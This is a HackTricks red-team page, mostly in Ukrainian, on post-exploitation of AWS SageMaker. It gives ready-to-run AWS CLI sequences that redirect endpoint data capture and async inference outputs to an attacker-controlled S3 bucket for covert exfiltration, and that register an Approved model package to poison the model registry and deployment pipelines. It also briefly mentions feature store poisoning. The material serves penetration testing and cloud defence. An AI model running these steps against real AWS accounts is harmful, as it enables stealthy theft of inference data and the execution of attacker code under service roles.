AWS - SageMaker Post-Exploitation

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig

Зловживання керуванням endpoint SageMaker для увімкнення повного захоплення запитів/відповідей у контрольований атакуючим S3 bucket без втручання в model або container. Використовує zero/low‑downtime rolling update і потребує лише дозволів на управління endpoint.

Requirements

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: s3:CreateBucket (or use an existing bucket in the same account)
  • Optional (if using SSE‑KMS): kms:Encrypt on the chosen CMK
  • Target: An existing InService real‑time endpoint in the same account/region

Steps

  1. Знайдіть InService endpoint і зберіть поточні production variants
bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json

Підготуйте S3-пункт призначення attacker для збереження захоплень.

bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
  1. Створіть новий EndpointConfig, який зберігає ті самі варіанти, але вмикає DataCapture для attacker bucket

Примітка: Використовуйте явні типи вмісту, які відповідають валідації CLI.

bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
  1. Застосуйте нову конфігурацію з rolling update (мінімальний/відсутній простій)
bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Згенеруйте принаймні один виклик інференсу (необов'язково, якщо є живий трафік)
bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
  1. Перевірте захоплені файли в attacker S3
bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize

Вплив

  • Повна ексфільтрація real‑time inference request і response payloads (та метаданих) з цільового endpoint до S3 bucket, контрольованого зловмисником.
  • Без змін model/container image і лише endpoint‑level зміни, що дозволяє прихований шлях крадіжки даних з мінімальними операційними перебоями.

SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig

Зловживання управлінням endpoint для перенаправлення вихідних даних асинхронного inference до S3 bucket, контрольованого зловмисником, шляхом клонування поточного EndpointConfig і встановлення AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Це ексфільтрує model predictions (та будь‑які перетворені вхідні дані, включені контейнером) без модифікації model/container.

Вимоги

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: Можливість запису в attacker S3 bucket (через model execution role або через permissive bucket policy)
  • Target: An InService endpoint where asynchronous invocations are (or will be) used

Steps

  1. Gather current ProductionVariants from the target endpoint
bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
  1. Створіть attacker bucket (переконайтеся, що model execution role може PutObject до нього)
bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
  1. Клонувати EndpointConfig та hijack AsyncInference outputs у attacker bucket
bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Запустіть async invocation і перевірте, що objects потрапляють в attacker S3
bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true

Вплив

  • Перенаправляє результати асинхронного inference (та тіла помилок) до S3 під контролем атакуючого, що дозволяє covert exfiltration прогнозів та потенційно конфіденційних вхідних/вихідних даних (pre/post-processed), які генерує контейнер, без зміни коду чи образу моделі і з мінімальним/без простою.

SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)

Якщо атакуючий може виконати CreateModelPackage на цільовій SageMaker Model Package Group, він може зареєструвати нову версію моделі, яка вказує на контейнерний образ під контролем атакуючого, і одразу позначити її як Approved. Багато CI/CD pipeline автоматично деплоять Approved версії моделей на endpoints або training jobs, що призводить до виконання коду атакуючого під ролями виконання сервісу. Експозиція між акаунтами може посилюватися через надмірно дозволяючу ModelPackageGroup resource policy.

Вимоги

  • IAM (мінімум для poison існуючої групи): sagemaker:CreateModelPackage на цільовому ModelPackageGroup
  • Optional (щоб створити групу, якщо її не існує): sagemaker:CreateModelPackageGroup
  • S3: доступ на читання до вказаного ModelDataUrl (або розміщення артефактів під контролем атакуючого)
  • Target: Model Package Group, за якою downstream автоматизація відслідковує Approved версії

Кроки

  1. Встановіть регіон та створіть/знайдіть цільовий Model Package Group
bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
  1. Підготуйте тестові дані моделі в S3
bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
  1. Зареєструвати шкідливу (тут нешкідливу) Approved model package version, яка посилається на публічний AWS DLC image
bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
  1. Перевірте, що нова версія зі статусом Approved існує
bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table

Наслідки

  • Отруїти Model Registry Approved-версією, яка посилається на код, контрольований атакуючим. Pipelines, які автоматично розгортають Approved models, можуть витягнути та запустити образ атакуючого, що призведе до виконання коду під правами endpoint/training roles.
  • При наявності надмірно дозволяючої політики ресурсу ModelPackageGroup (PutModelPackageGroupPolicy) це зловживання може бути ініційоване cross-account.

Feature store poisoning

Зловживати sagemaker:PutRecord на Feature Group з увімкненим OnlineStore, щоб перезаписати актуальні значення ознак, які споживаються під час online inference. У поєднанні з sagemaker:GetRecord, зловмисник може прочитати чутливі ознаки. Для цього не потрібен доступ до models або endpoints.

{{#ref}} feature-store-poisoning.md {{/ref}}

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks